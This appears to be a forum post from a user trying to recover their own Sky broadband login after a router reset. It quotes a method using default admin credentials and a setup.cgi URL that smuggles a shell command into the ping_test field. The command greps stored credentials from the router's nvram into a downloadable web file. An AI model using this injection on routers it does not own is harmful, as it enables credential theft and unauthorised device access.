      username and password?

      Hi,
      I've been using a linksys router on my sky connection for some time. My nephew thought it would be clever to restart my router so lost my sky username and password.
      I tried to get my password back by using this method,

      192.168.0.1 and then entering in the username admin and password sky.

      The next step is to enter the following url into your browser

      http://192.168.0.1/setup.cgi?todo=pi...ww/netgear.cfg

      Once you have done that enter in http://192.168.0.1/netgear.cfg and save the file to your pc.

      The problem is when i type in 192.169.0.1 and log in it bought up the netgear control panel but when i tried to enter
      ''http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/grep+ppoa_+/tmp/nvram+%3E+/www/netgear.cfg'' it says 404 not found.

      Can somone please tell me where I went wrong or if theres an alternative way to get the username and password. thanks in advance
